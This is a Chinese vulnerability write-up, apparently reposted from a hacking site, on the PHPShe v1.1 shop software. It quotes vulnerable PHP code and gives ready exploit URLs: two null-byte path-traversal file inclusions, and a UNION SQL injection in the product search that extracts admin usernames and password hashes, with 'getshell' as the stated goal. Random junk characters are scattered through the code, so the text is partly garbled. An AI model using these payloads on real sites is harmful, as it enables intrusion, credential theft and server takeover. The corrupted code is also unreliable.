phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
* @+ ?3 m2 c- L1 f( _" l% j/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
# R, K! u; l7 O- N9 g) _/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输
5 n3 g7 Q+ |3 ?6 m( {2 E: X
" V9 f6 C: A5 E' s

6 ^9 b" n& a6 r' N* c6 }//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
: b& U3 z+ a# R  o- h3 G!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
9 E: ?! C) q1 `, G}
0 ^& ~) B+ a0 c/ Belse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
5 P3 e0 p! ~& j/ N; U8 l- ?) F}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
/ [' T' W8 ~  R) A!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
9 ^3 N4 C; b. b
0×01 包含漏洞

5 R& h; Y" |3 h0 H
//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
- ?! O4 t" L. r7 d$ p* D; Z  Minclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
( Q: c# B; p: U, u' dpe_result();
?>
6 F( Q& w2 b2 m' J* r+ ^& a( Z//common 文件 第15行开始
1 R- F# l$ X' }# \4 T2 s% Murl路由配置
9 M) q/ Y6 W5 `1 a$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
. [; C# b: }$ H( @( Z3 D//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
, g, E' o. t) S6 T6 |

0×02 搜索注入
7 f9 v% n8 b: s
3 z' F9 Q, L2 Z5 v" R. K1 _+ b. W<code id="code2">

//product.php文件
  F9 k3 U* ~1 f: N; d: i# [case 'list':
# Q' {! W0 h9 e+ d( j+ |' R$category_id = intval($id);
% m- N- s) |2 P+ K  ~  ~$info = $db->pe_select('category', array('category_id'=>$category_id));
# h- ]- c" \  l8 u4 P0 X+ r) J! |; b//搜索
2 E* L5 h+ Y! t$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
% G$ S1 z3 X3 U0 t8 lif ($category_id) {
; x% P4 E4 Q1 {" a) l7 nwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
- y9 @' p9 Z; ]9 Y}
* {- t5 `* p+ Z$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
/ a( @6 P; h6 l) W: f6 ?}
else {
2 R) W7 E8 @: \7 [" f$sqlwhere .= " order by `product_id` desc";
. |: ], i/ c. h+ v. u: o! S}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
* j7 U7 w9 R) i! E//热卖排行
$product_hotlist = product_hotlist();
* I2 u6 N  a. }. ^8 d, Z) Z* r& U//当前路径
$nowpath = category_path($category_id);
# l0 y, ?1 U" b. X$ n' y$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
% Y, S* u( M* t! w! j! \& N0 Tpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
6 m" m1 ^; g$ T3 j1 D5 [{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
* a, Y6 _2 D2 Y}
# S- B( a" s6 ^5 ^//exp
* R( V2 s  J0 v, l+ C4 ~" nproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>
4 [4 U2 T* C3 q7 c& }' h, Y3 T1 U
, L; c5 R/ S- O8 n* _+ d0×03 包含漏洞2
+ ]( Q% }7 P! X
<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

# l- G7 l; k0 p/ D% X$cache_payway = cache::get('payway');

6 _5 a' @; B* ]! N! uforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

. C% t4 u( b: {% w" z! Y0 j$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

2 G2 X1 M2 `" X}

* u: y+ u, s* X* }}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

9 R& A- K  T! n# eforeach ($info_list as $v) {

, I$ M6 j9 W, C- ~& Q% o$order['order_name'] .= "{$v['product_name']};";

}

  ?7 f/ x+ F% l; h; c6 ]0 X; ?4 Kecho '正在为您连接支付网站，请稍后...';

0 M5 B0 Z4 @& a% [include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

% x. r& k4 E$ J( {1 h6 x& N1 M  \else {

2 n' b! w/ O  {$ J; `pe_error('支付错误...');

4 ^5 @3 g: F- N# X& l3 V}

}

$seo = pe_seo('选择支付方式');

2 c) F- y9 v" D" o, k4 {include(pe_tpl('order_pay.html'));

0 D6 `$ _  O1 Z/ Z% pbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
, X/ a$ @0 I5 r) O3 Chttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg